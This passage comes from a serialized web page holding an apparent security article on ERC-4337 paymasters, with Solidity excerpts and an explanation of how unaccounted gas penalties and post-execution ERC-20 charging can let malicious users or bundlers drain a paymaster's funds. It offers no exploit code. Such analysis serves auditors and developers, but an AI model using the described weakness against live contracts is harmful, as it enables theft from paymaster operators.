updateCachedPrice",{"type":23,"tag":314,"props":103270,"children":103271},{"style":338},[103272],{"type":28,"value":341},{"type":23,"tag":314,"props":103274,"children":103275},{"style":321},[103276],{"type":28,"value":1532},{"type":23,"tag":314,"props":103278,"children":103279},{"style":338},[103280],{"type":28,"value":1025},{"type":23,"tag":314,"props":103282,"children":103283},{"class":316,"line":23078},[103284,103288,103292],{"type":23,"tag":314,"props":103285,"children":103286},{"style":374},[103287],{"type":28,"value":102632},{"type":23,"tag":314,"props":103289,"children":103290},{"style":321},[103291],{"type":28,"value":66012},{"type":23,"tag":314,"props":103293,"children":103294},{"style":374},[103295],{"type":28,"value":102641},{"type":23,"tag":314,"props":103297,"children":103298},{"class":316,"line":23091},[103299,103303,103307,103311,103315,103319,103323,103327],{"type":23,"tag":314,"props":103300,"children":103301},{"style":2674},[103302],{"type":28,"value":102380},{"type":23,"tag":314,"props":103304,"children":103305},{"style":338},[103306],{"type":28,"value":102653},{"type":23,"tag":314,"props":103308,"children":103309},{"style":354},[103310],{"type":28,"value":1102},{"type":23,"tag":314,"props":103312,"children":103313},{"style":338},[103314],{"type":28,"value":103259},{"type":23,"tag":314,"props":103316,"children":103317},{"style":354},[103318],{"type":28,"value":256},{"type":23,"tag":314,"props":103320,"children":103321},{"style":338},[103322],{"type":28,"value":102671},{"type":23,"tag":314,"props":103324,"children":103325},{"style":354},[103326],{"type":28,"value":3835},{"type":23,"tag":314,"props":103328,"children":103329},{"style":338},[103330],{"type":28,"value":102680},{"type":23,"tag":314,"props":103332,"children":103333},{"class":316,"line":23104},[103334],{"type":23,"tag":314,"props":103335,"children":103336},{"style":374},[103337],{"type":28,"value":103338}," // Refund tokens based on actual gas cost\n",{"type":23,"tag":314,"props":103340,"children":103341},{"class":316,"line":23158},[103342,103346,103351,103355,103360,103364,103369,103373],{"type":23,"tag":314,"props":103343,"children":103344},{"style":2674},[103345],{"type":28,"value":102380},{"type":23,"tag":314,"props":103347,"children":103348},{"style":338},[103349],{"type":28,"value":103350}," actualChargeNative ",{"type":23,"tag":314,"props":103352,"children":103353},{"style":354},[103354],{"type":28,"value":1102},{"type":23,"tag":314,"props":103356,"children":103357},{"style":338},[103358],{"type":28,"value":103359}," actualGasCost ",{"type":23,"tag":314,"props":103361,"children":103362},{"style":354},[103363],{"type":28,"value":1130},{"type":23,"tag":314,"props":103365,"children":103366},{"style":338},[103367],{"type":28,"value":103368}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":314,"props":103370,"children":103371},{"style":354},[103372],{"type":28,"value":256},{"type":23,"tag":314,"props":103374,"children":103375},{"style":338},[103376],{"type":28,"value":103377}," actualUserOpFeePerGas;\n",{"type":23,"tag":314,"props":103379,"children":103380},{"class":316,"line":23167},[103381,103385,103390,103394,103398],{"type":23,"tag":314,"props":103382,"children":103383},{"style":2674},[103384],{"type":28,"value":102380},{"type":23,"tag":314,"props":103386,"children":103387},{"style":338},[103388],{"type":28,"value":103389}," actualTokenNeeded ",{"type":23,"tag":314,"props":103391,"children":103392},{"style":354},[103393],{"type":28,"value":1102},{"type":23,"tag":314,"props":103395,"children":103396},{"style":332},[103397],{"type":28,"value":102855},{"type":23,"tag":314,"props":103399,"children":103400},{"style":338},[103401],{"type":28,"value":103402},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":314,"props":103404,"children":103405},{"class":316,"line":31528},[103406,103410,103415,103419],{"type":23,"tag":314,"props":103407,"children":103408},{"style":2284},[103409],{"type":28,"value":58052},{"type":23,"tag":314,"props":103411,"children":103412},{"style":338},[103413],{"type":28,"value":103414}," (preCharge ",{"type":23,"tag":314,"props":103416,"children":103417},{"style":354},[103418],{"type":28,"value":9710},{"type":23,"tag":314,"props":103420,"children":103421},{"style":338},[103422],{"type":28,"value":103423}," actualTokenNeeded) {\n",{"type":23,"tag":314,"props":103425,"children":103426},{"class":316,"line":31549},[103427],{"type":23,"tag":314,"props":103428,"children":103429},{"style":374},[103430],{"type":28,"value":103431}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":314,"props":103433,"children":103434},{"class":316,"line":80203},[103435,103440,103445,103450,103454],{"type":23,"tag":314,"props":103436,"children":103437},{"style":338},[103438],{"type":28,"value":103439}," SafeERC20.",{"type":23,"tag":314,"props":103441,"children":103442},{"style":332},[103443],{"type":28,"value":103444},"safeTransfer",{"type":23,"tag":314,"props":103446,"children":103447},{"style":338},[103448],{"type":28,"value":103449},"(token, userOpSender, preCharge ",{"type":23,"tag":314,"props":103451,"children":103452},{"style":354},[103453],{"type":28,"value":1051},{"type":23,"tag":314,"props":103455,"children":103456},{"style":338},[103457],{"type":28,"value":103458}," actualTokenNeeded);\n",{"type":23,"tag":314,"props":103460,"children":103461},{"class":316,"line":80216},[103462,103466,103470,103474,103478,103482],{"type":23,"tag":314,"props":103463,"children":103464},{"style":338},[103465],{"type":28,"value":69847},{"type":23,"tag":314,"props":103467,"children":103468},{"style":2284},[103469],{"type":28,"value":2570},{"type":23,"tag":314,"props":103471,"children":103472},{"style":2284},[103473],{"type":28,"value":15029},{"type":23,"tag":314,"props":103475,"children":103476},{"style":338},[103477],{"type":28,"value":103414},{"type":23,"tag":314,"props":103479,"children":103480},{"style":354},[103481],{"type":28,"value":5060},{"type":23,"tag":314,"props":103483,"children":103484},{"style":338},[103485],{"type":28,"value":103423},{"type":23,"tag":314,"props":103487,"children":103488},{"class":316,"line":80224},[103489],{"type":23,"tag":314,"props":103490,"children":103491},{"style":374},[103492],{"type":28,"value":103493}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":314,"props":103495,"children":103496},{"class":316,"line":80232},[103497],{"type":23,"tag":314,"props":103498,"children":103499},{"style":374},[103500],{"type":28,"value":103501}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":314,"props":103503,"children":103504},{"class":316,"line":80240},[103505,103509,103513,103518,103522,103526,103530,103535,103539],{"type":23,"tag":314,"props":103506,"children":103507},{"style":338},[103508],{"type":28,"value":103439},{"type":23,"tag":314,"props":103510,"children":103511},{"style":332},[103512],{"type":28,"value":102890},{"type":23,"tag":314,"props":103514,"children":103515},{"style":338},[103516],{"type":28,"value":103517},"(token, userOpSender, ",{"type":23,"tag":314,"props":103519,"children":103520},{"style":2674},[103521],{"type":28,"value":31888},{"type":23,"tag":314,"props":103523,"children":103524},{"style":338},[103525],{"type":28,"value":341},{"type":23,"tag":314,"props":103527,"children":103528},{"style":321},[103529],{"type":28,"value":16932},{"type":23,"tag":314,"props":103531,"children":103532},{"style":338},[103533],{"type":28,"value":103534},"), actualTokenNeeded ",{"type":23,"tag":314,"props":103536,"children":103537},{"style":354},[103538],{"type":28,"value":1051},{"type":23,"tag":314,"props":103540,"children":103541},{"style":338},[103542],{"type":28,"value":103543}," preCharge);\n",{"type":23,"tag":314,"props":103545,"children":103546},{"class":316,"line":80280},[103547],{"type":23,"tag":314,"props":103548,"children":103549},{"style":338},[103550],{"type":28,"value":58136},{"type":23,"tag":314,"props":103552,"children":103553},{"class":316,"line":80288},[103554],{"type":23,"tag":314,"props":103555,"children":103556},{"emptyLinePlaceholder":18},[103557],{"type":28,"value":1088},{"type":23,"tag":314,"props":103559,"children":103560},{"class":316,"line":87475},[103561,103565,103570,103574,103578],{"type":23,"tag":314,"props":103562,"children":103563},{"style":2284},[103564],{"type":28,"value":58052},{"type":23,"tag":314,"props":103566,"children":103567},{"style":338},[103568],{"type":28,"value":103569}," (baseFee ",{"type":23,"tag":314,"props":103571,"children":103572},{"style":354},[103573],{"type":28,"value":9710},{"type":23,"tag":314,"props":103575,"children":103576},{"style":1054},[103577],{"type":28,"value":1201},{"type":23,"tag":314,"props":103579,"children":103580},{"style":338},[103581],{"type":28,"value":367},{"type":23,"tag":314,"props":103583,"children":103584},{"class":316,"line":87483},[103585,103589,103593],{"type":23,"tag":314,"props":103586,"children":103587},{"style":338},[103588],{"type":28,"value":103439},{"type":23,"tag":314,"props":103590,"children":103591},{"style":332},[103592],{"type":28,"value":103444},{"type":23,"tag":314,"props":103594,"children":103595},{"style":338},[103596],{"type":28,"value":103597},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":314,"props":103599,"children":103600},{"class":316,"line":100829},[103601],{"type":23,"tag":314,"props":103602,"children":103603},{"style":338},[103604],{"type":28,"value":58136},{"type":23,"tag":314,"props":103606,"children":103607},{"class":316,"line":100837},[103608],{"type":23,"tag":314,"props":103609,"children":103610},{"emptyLinePlaceholder":18},[103611],{"type":28,"value":1088},{"type":23,"tag":314,"props":103613,"children":103614},{"class":316,"line":100845},[103615,103620,103625],{"type":23,"tag":314,"props":103616,"children":103617},{"style":2284},[103618],{"type":28,"value":103619}," emit",{"type":23,"tag":314,"props":103621,"children":103622},{"style":332},[103623],{"type":28,"value":103624}," UserOperationSponsored",{"type":23,"tag":314,"props":103626,"children":103627},{"style":338},[103628],{"type":28,"value":103629},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":314,"props":103631,"children":103632},{"class":316,"line":100853},[103633,103638],{"type":23,"tag":314,"props":103634,"children":103635},{"style":332},[103636],{"type":28,"value":103637}," refillEntryPointDeposit",{"type":23,"tag":314,"props":103639,"children":103640},{"style":338},[103641],{"type":28,"value":103642},"(_cachedPrice);\n",{"type":23,"tag":314,"props":103644,"children":103645},{"class":316,"line":100881},[103646],{"type":23,"tag":314,"props":103647,"children":103648},{"style":338},[103649],{"type":28,"value":2602},{"type":23,"tag":314,"props":103651,"children":103653},{"class":316,"line":103652},67,[103654],{"type":23,"tag":314,"props":103655,"children":103656},{"style":338},[103657],{"type":28,"value":2610},{"type":23,"tag":314,"props":103659,"children":103661},{"class":316,"line":103660},68,[103662],{"type":23,"tag":314,"props":103663,"children":103664},{"style":338},[103665],{"type":28,"value":386},{"type":23,"tag":24,"props":103667,"children":103668},{},[103669,103671,103677,103679,103684,103686,103692],{"type":28,"value":103670},"Looking at the code above, during ",{"type":23,"tag":94,"props":103672,"children":103674},{"className":103673},[],[103675],{"type":28,"value":103676},"validatePaymasterUserOp",{"type":28,"value":103678},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":94,"props":103680,"children":103682},{"className":103681},[],[103683],{"type":28,"value":101735},{"type":28,"value":103685}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":94,"props":103687,"children":103689},{"className":103688},[],[103690],{"type":28,"value":103691},"postOp",{"type":28,"value":103693},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":103695,"children":103696},{},[103697,103699,103704,103706,103713],{"type":28,"value":103698},"However, there is a critical oversight: ",{"type":23,"tag":721,"props":103700,"children":103701},{},[103702],{"type":28,"value":103703},"the code does not account for gas penalties",{"type":28,"value":103705},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":31,"props":103707,"children":103710},{"href":103708,"rel":103709},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[35],[103711],{"type":28,"value":103712},"penalties incurred",{"type":28,"value":103714}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":103716,"children":103717},{},[103718],{"type":28,"value":103719},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":103721,"children":103722},{},[103723,103725,103730],{"type":28,"value":103724},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":94,"props":103726,"children":103728},{"className":103727},[],[103729],{"type":28,"value":101434},{"type":28,"value":103731}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":61,"props":103733,"children":103735},{"id":103734},"incorrect-erc-20-handling",[103736],{"type":23,"tag":721,"props":103737,"children":103738},{},[103739],{"type":28,"value":103740},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":103742,"children":103743},{},[103744],{"type":28,"value":103745},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":103747,"children":103748},{},[103749,103750,103755,103757,103762],{"type":28,"value":44545},{"type":23,"tag":94,"props":103751,"children":103753},{"className":103752},[],[103754],{"type":28,"value":101515},{"type":28,"value":103756}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":94,"props":103758,"children":103760},{"className":103759},[],[103761],{"type":28,"value":101434},{"type":28,"value":103763},"'s lifecycle:",{"type":23,"tag":84,"props":103765,"children":103766},{},[103767,103777],{"type":23,"tag":88,"props":103768,"children":103769},{},[103770,103772],{"type":28,"value":103771},"During validation via ",{"type":23,"tag":94,"props":103773,"children":103775},{"className":103774},[],[103776],{"type":28,"value":101622},{"type":23,"tag":88,"props":103778,"children":103779},{},[103780,103782],{"type":28,"value":103781},"After execution via ",{"type":23,"tag":94,"props":103783,"children":103785},{"className":103784},[],[103786],{"type":28,"value":101633},{"type":23,"tag":24,"props":103788,"children":103789},{},[103790],{"type":28,"value":103791},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":837,"props":103793,"children":103795},{"id":103794},"_1-pre-payment-with-refund-pattern",[103796],{"type":28,"value":103797},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":103799,"children":103800},{},[103801,103803,103808,103810,103815,103817,103823,103824,103830,103832,103837,103839,103844,103846,103851],{"type":28,"value":103802},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":94,"props":103804,"children":103806},{"className":103805},[],[103807],{"type":28,"value":101622},{"type":28,"value":103809},". After execution completes, ",{"type":23,"tag":94,"props":103811,"children":103813},{"className":103812},[],[103814],{"type":28,"value":101633},{"type":28,"value":103816}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":94,"props":103818,"children":103820},{"className":103819},[],[103821],{"type":28,"value":103822},"SEND",{"type":28,"value":557},{"type":23,"tag":94,"props":103825,"children":103827},{"className":103826},[],[103828],{"type":28,"value":103829},"Circle",{"type":28,"value":103831}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":94,"props":103833,"children":103835},{"className":103834},[],[103836],{"type":28,"value":101463},{"type":28,"value":103838},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":721,"props":103840,"children":103841},{},[103842],{"type":28,"value":103843},"before",{"type":28,"value":103845}," execution (specifically during ",{"type":23,"tag":94,"props":103847,"children":103849},{"className":103848},[],[103850],{"type":28,"value":103676},{"type":28,"value":419},{"type":23,"tag":837,"props":103853,"children":103855},{"id":103854},"_2-post-execution-charging-pattern",[103856],{"type":28,"value":103857},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":103859,"children":103860},{},[103861,103863,103868,103870,103875,103877,103882,103884,103889],{"type":28,"value":103862},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":94,"props":103864,"children":103866},{"className":103865},[],[103867],{"type":28,"value":101622},{"type":28,"value":103869},", the actual token payment is calculated and collected in ",{"type":23,"tag":94,"props":103871,"children":103873},{"className":103872},[],[103874],{"type":28,"value":101633},{"type":28,"value":103876}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":94,"props":103878,"children":103880},{"className":103879},[],[103881],{"type":28,"value":101434},{"type":28,"value":103883},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":94,"props":103885,"children":103887},{"className":103886},[],[103888],{"type":28,"value":101735},{"type":28,"value":103890},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":103892,"children":103893},{},[103894,103896,103901,103903,103909,103911,103917,103919,103924],{"type":28,"value":103895},"This approach used to work in ",{"type":23,"tag":94,"props":103897,"children":103899},{"className":103898},[],[103900],{"type":28,"value":101515},{"type":28,"value":103902}," version ",{"type":23,"tag":94,"props":103904,"children":103906},{"className":103905},[],[103907],{"type":28,"value":103908},"v0.6",{"type":28,"value":103910},", but the pattern no longer works in ",{"type":23,"tag":94,"props":103912,"children":103914},{"className":103913},[],[103915],{"type":28,"value":103916},"v0.7",{"type":28,"value":103918},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":94,"props":103920,"children":103922},{"className":103921},[],[103923],{"type":28,"value":103916},{"type":28,"value":103925}," handles the execution phase:",{"type":23,"tag":304,"props":103927,"children":103929},{"className":3729,"code":103928,"language":3728,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[103930],{"type":23,"tag":94,"props":103931,"children":103932},{"__ignoreMap":7},[103933,103949,103965,103985,104002,104009,104022,104046,104054,104067,104074,104081,104102,104141,104178,104190,104197,104233,104240,104261,104350,104379,104386,104399,104406,104426,104433,104454,104462,104470,104497,104525,104533,104576,104596,104609,104631,104647,104662,104669,104689,104697,104705,104713,104721,104729,104736,104743],{"type":23,"tag":314,"props":103934,"children":103935},{"class":316,"line":317},[103936,103940,103945],{"type":23,"tag":314,"props":103937,"children":103938},{"style":321},[103939],{"type":28,"value":89083},{"type":23,"tag":314,"props":103941,"children":103942},{"style":332},[103943],{"type":28,"value":103944}," _executeUserOp",{"type":23,"tag":314,"props":103946,"children":103947},{"style":338},[103948],{"type":28,"value":2719},{"type":23,"tag":314,"props":103950,"children":103951},{"class":316,"line":370},[103952,103956,103961],{"type":23,"tag":314,"props":103953,"children":103954},{"style":2674},[103955],{"type":28,"value":89261},{"type":23,"tag":314,"props":103957,"children":103958},{"style":360},[103959],{"type":28,"value":103960}," opIndex",{"type":23,"tag":314,"props":103962,"children":103963},{"style":338},[103964],{"type":28,"value":1870},{"type":23,"tag":314,"props":103966,"children":103967},{"class":316,"line":380},[103968,103973,103977,103981],{"type":23,"tag":314,"props":103969,"children":103970},{"style":321},[103971],{"type":28,"value":103972}," PackedUserOperation",{"type":23,"tag":314,"props":103974,"children":103975},{"style":321},[103976],{"type":28,"value":102264},{"type":23,"tag":314,"props":103978,"children":103979},{"style":360},[103980],{"type":28,"value":102269},{"type":23,"tag":314,"props":103982,"children":103983},{"style":338},[103984],{"type":28,"value":1870},{"type":23,"tag":314,"props":103986,"children":103987},{"class":316,"line":1091},[103988,103993,103997],{"type":23,"tag":314,"props":103989,"children":103990},{"style":321},[103991],{"type":28,"value":103992}," UserOpInfo",{"type":23,"tag":314,"props":103994,"children":103995},{"style":321},[103996],{"type":28,"value":102332},{"type":23,"tag":314,"props":103998,"children":103999},{"style":360},[104000],{"type":28,"value":104001}," opInfo\n",{"type":23,"tag":314,"props":104003,"children":104004},{"class":316,"line":1141},[104005],{"type":23,"tag":314,"props":104006,"children":104007},{"style":338},[104008],{"type":28,"value":23164},{"type":23,"tag":314,"props":104010,"children":104011},{"class":316,"line":1173},[104012,104017],{"type":23,"tag":314,"props":104013,"children":104014},{"style":321},[104015],{"type":28,"value":104016}," internal",{"type":23,"tag":314,"props":104018,"children":104019},{"style":321},[104020],{"type":28,"value":104021}," virtual\n",{"type":23,"tag":314,"props":104023,"children":104024},{"class":316,"line":1208},[104025,104029,104033,104037,104042],{"type":23,"tag":314,"props":104026,"children":104027},{"style":2284},[104028],{"type":28,"value":45758},{"type":23,"tag":314,"props":104030,"children":104031},{"style":338},[104032],{"type":28,"value":2324},{"type":23,"tag":314,"props":104034,"children":104035},{"style":2674},[104036],{"type":28,"value":45417},{"type":23,"tag":314,"props":104038,"children":104039},{"style":360},[104040],{"type":28,"value":104041}," collected",{"type":23,"tag":314,"props":104043,"children":104044},{"style":338},[104045],{"type":28,"value":367},{"type":23,"tag":314,"props":104047,"children":104048},{"class":316,"line":1216},[104049],{"type":23,"tag":314,"props":104050,"children":104051},{"style":338},[104052],{"type":28,"value":104053}," [...]\n",{"type":23,"tag":314,"props":104055,"children":104056},{"class":316,"line":1301},[104057,104062],{"type":23,"tag":314,"props":104058,"children":104059},{"style":2674},[104060],{"type":28,"value":104061}," bool",{"type":23,"tag":314,"props":104063,"children":104064},{"style":338},[104065],{"type":28,"value":104066}," success;\n",{"type":23,"tag":314,"props":104068,"children":104069},{"class":316,"line":1343},[104070],{"type":23,"tag":314,"props":104071,"children":104072},{"style":338},[104073],{"type":28,"value":30906},{"type":23,"tag":314,"props":104075,"children":104076},{"class":316,"line":1351},[104077],{"type":23,"tag":314,"props":104078,"children":104079},{"style":338},[104080],{"type":28,"value":104053},{"type":23,"tag":314,"props":104082,"children":104083},{"class":316,"line":1387},[104084,104088,104093,104097],{"type":23,"tag":314,"props":104085,"children":104086},{"style":2284},[104087],{"type":28,"value":58052},{"type":23,"tag":314,"props":104089,"children":104090},{"style":338},[104091],{"type":28,"value":104092}," (methodSig ",{"type":23,"tag":314,"props":104094,"children":104095},{"style":354},[104096],{"type":28,"value":7828},{"type":23,"tag":314,"props":104098,"children":104099},{"style":338},[104100],{"type":28,"value":104101}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":314,"props":104103,"children":104104},{"class":316,"line":1422},[104105,104110,104114,104119,104123,104127,104131,104136],{"type":23,"tag":314,"props":104106,"children":104107},{"style":2674},[104108],{"type":28,"value":104109}," bytes",{"type":23,"tag":314,"props":104111,"children":104112},{"style":321},[104113],{"type":28,"value":102332},{"type":23,"tag":314,"props":104115,"children":104116},{"style":338},[104117],{"type":28,"value":104118}," executeUserOp ",{"type":23,"tag":314,"props":104120,"children":104121},{"style":354},[104122],{"type":28,"value":1102},{"type":23,"tag":314,"props":104124,"children":104125},{"style":321},[104126],{"type":28,"value":102929},{"type":23,"tag":314,"props":104128,"children":104129},{"style":338},[104130],{"type":28,"value":282},{"type":23,"tag":314,"props":104132,"children":104133},{"style":332},[104134],{"type":28,"value":104135},"encodeCall",{"type":23,"tag":314,"props":104137,"children":104138},{"style":338},[104139],{"type":28,"value":104140},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":314,"props":104142,"children":104143},{"class":316,"line":1430},[104144,104149,104153,104157,104161,104165,104169,104173],{"type":23,"tag":314,"props":104145,"children":104146},{"style":338},[104147],{"type":28,"value":104148}," innerCall ",{"type":23,"tag":314,"props":104150,"children":104151},{"style":354},[104152],{"type":28,"value":1102},{"type":23,"tag":314,"props":104154,"children":104155},{"style":321},[104156],{"type":28,"value":102929},{"type":23,"tag":314,"props":104158,"children":104159},{"style":338},[104160],{"type":28,"value":282},{"type":23,"tag":314,"props":104162,"children":104163},{"style":332},[104164],{"type":28,"value":104135},{"type":23,"tag":314,"props":104166,"children":104167},{"style":338},[104168],{"type":28,"value":341},{"type":23,"tag":314,"props":104170,"children":104171},{"style":321},[104172],{"type":28,"value":16932},{"type":23,"tag":314,"props":104174,"children":104175},{"style":338},[104176],{"type":28,"value":104177},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":314,"props":104179,"children":104180},{"class":316,"line":1452},[104181,104185],{"type":23,"tag":314,"props":104182,"children":104183},{"style":338},[104184],{"type":28,"value":69847},{"type":23,"tag":314,"props":104186,"children":104187},{"style":2284},[104188],{"type":28,"value":104189},"else\n",{"type":23,"tag":314,"props":104191,"children":104192},{"class":316,"line":1497},[104193],{"type":23,"tag":314,"props":104194,"children":104195},{"style":338},[104196],{"type":28,"value":30942},{"type":23,"tag":314,"props":104198,"children":104199},{"class":316,"line":1539},[104200,104204,104208,104212,104216,104220,104224,104228],{"type":23,"tag":314,"props":104201,"children":104202},{"style":338},[104203],{"type":28,"value":104148},{"type":23,"tag":314,"props":104205,"children":104206},{"style":354},[104207],{"type":28,"value":1102},{"type":23,"tag":314,"props":104209,"children":104210},{"style":321},[104211],{"type":28,"value":102929},{"type":23,"tag":314,"props":104213,"children":104214},{"style":338},[104215],{"type":28,"value":282},{"type":23,"tag":314,"props":104217,"children":104218},{"style":332},[104219],{"type":28,"value":104135},{"type":23,"tag":314,"props":104221,"children":104222},{"style":338},[104223],{"type":28,"value":341},{"type":23,"tag":314,"props":104225,"children":104226},{"style":321},[104227],{"type":28,"value":16932},{"type":23,"tag":314,"props":104229,"children":104230},{"style":338},[104231],{"type":28,"value":104232},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":314,"props":104234,"children":104235},{"class":316,"line":1548},[104236],{"type":23,"tag":314,"props":104237,"children":104238},{"style":338},[104239],{"type":28,"value":58136},{"type":23,"tag":314,"props":104241,"children":104242},{"class":316,"line":1584},[104243,104248,104252,104257],{"type":23,"tag":314,"props":104244,"children":104245},{"style":332},[104246],{"type":28,"value":104247}," assembly",{"type":23,"tag":314,"props":104249,"children":104250},{"style":338},[104251],{"type":28,"value":2324},{"type":23,"tag":314,"props":104253,"children":104254},{"style":1245},[104255],{"type":28,"value":104256},"\"memory-safe\"",{"type":23,"tag":314,"props":104258,"children":104259},{"style":338},[104260],{"type":28,"value":367},{"type":23,"tag":314,"props":104262,"children":104263},{"class":316,"line":1617},[104264,104269,104273,104277,104281,104286,104290,104294,104298,104302,104306,104310,104315,104320,104324,104329,104334,104338,104342,104346],{"type":23,"tag":314,"props":104265,"children":104266},{"style":338},[104267],{"type":28,"value":104268}," success ",{"type":23,"tag":314,"props":104270,"children":104271},{"style":354},[104272],{"type":28,"value":20844},{"type":23,"tag":314,"props":104274,"children":104275},{"style":332},[104276],{"type":28,"value":40211},{"type":23,"tag":314,"props":104278,"children":104279},{"style":338},[104280],{"type":28,"value":341},{"type":23,"tag":314,"props":104282,"children":104283},{"style":332},[104284],{"type":28,"value":104285},"gas",{"type":23,"tag":314,"props":104287,"children":104288},{"style":338},[104289],{"type":28,"value":17613},{"type":23,"tag":314,"props":104291,"children":104292},{"style":2674},[104293],{"type":28,"value":31888},{"type":23,"tag":314,"props":104295,"children":104296},{"style":338},[104297],{"type":28,"value":17613},{"type":23,"tag":314,"props":104299,"children":104300},{"style":1054},[104301],{"type":28,"value":1600},{"type":23,"tag":314,"props":104303,"children":104304},{"style":338},[104305],{"type":28,"value":778},{"type":23,"tag":314,"props":104307,"children":104308},{"style":332},[104309],{"type":28,"value":8887},{"type":23,"tag":314,"props":104311,"children":104312},{"style":338},[104313],{"type":28,"value":104314},"(innerCall, ",{"type":23,"tag":314,"props":104316,"children":104317},{"style":1054},[104318],{"type":28,"value":104319},"0x20",{"type":23,"tag":314,"props":104321,"children":104322},{"style":338},[104323],{"type":28,"value":14419},{"type":23,"tag":314,"props":104325,"children":104326},{"style":332},[104327],{"type":28,"value":104328},"mload",{"type":23,"tag":314,"props":104330,"children":104331},{"style":338},[104332],{"type":28,"value":104333},"(innerCall), ",{"type":23,"tag":314,"props":104335,"children":104336},{"style":1054},[104337],{"type":28,"value":1600},{"type":23,"tag":314,"props":104339,"children":104340},{"style":338},[104341],{"type":28,"value":778},{"type":23,"tag":314,"props":104343,"children":104344},{"style":1054},[104345],{"type":28,"value":59598},{"type":23,"tag":314,"props":104347,"children":104348},{"style":338},[104349],{"type":28,"value":2414},{"type":23,"tag":314,"props":104351,"children":104352},{"class":316,"line":1625},[104353,104358,104362,104367,104371,104375],{"type":23,"tag":314,"props":104354,"children":104355},{"style":338},[104356],{"type":28,"value":104357}," collected ",{"type":23,"tag":314,"props":104359,"children":104360},{"style":354},[104361],{"type":28,"value":20844},{"type":23,"tag":314,"props":104363,"children":104364},{"style":332},[104365],{"type":28,"value":104366}," 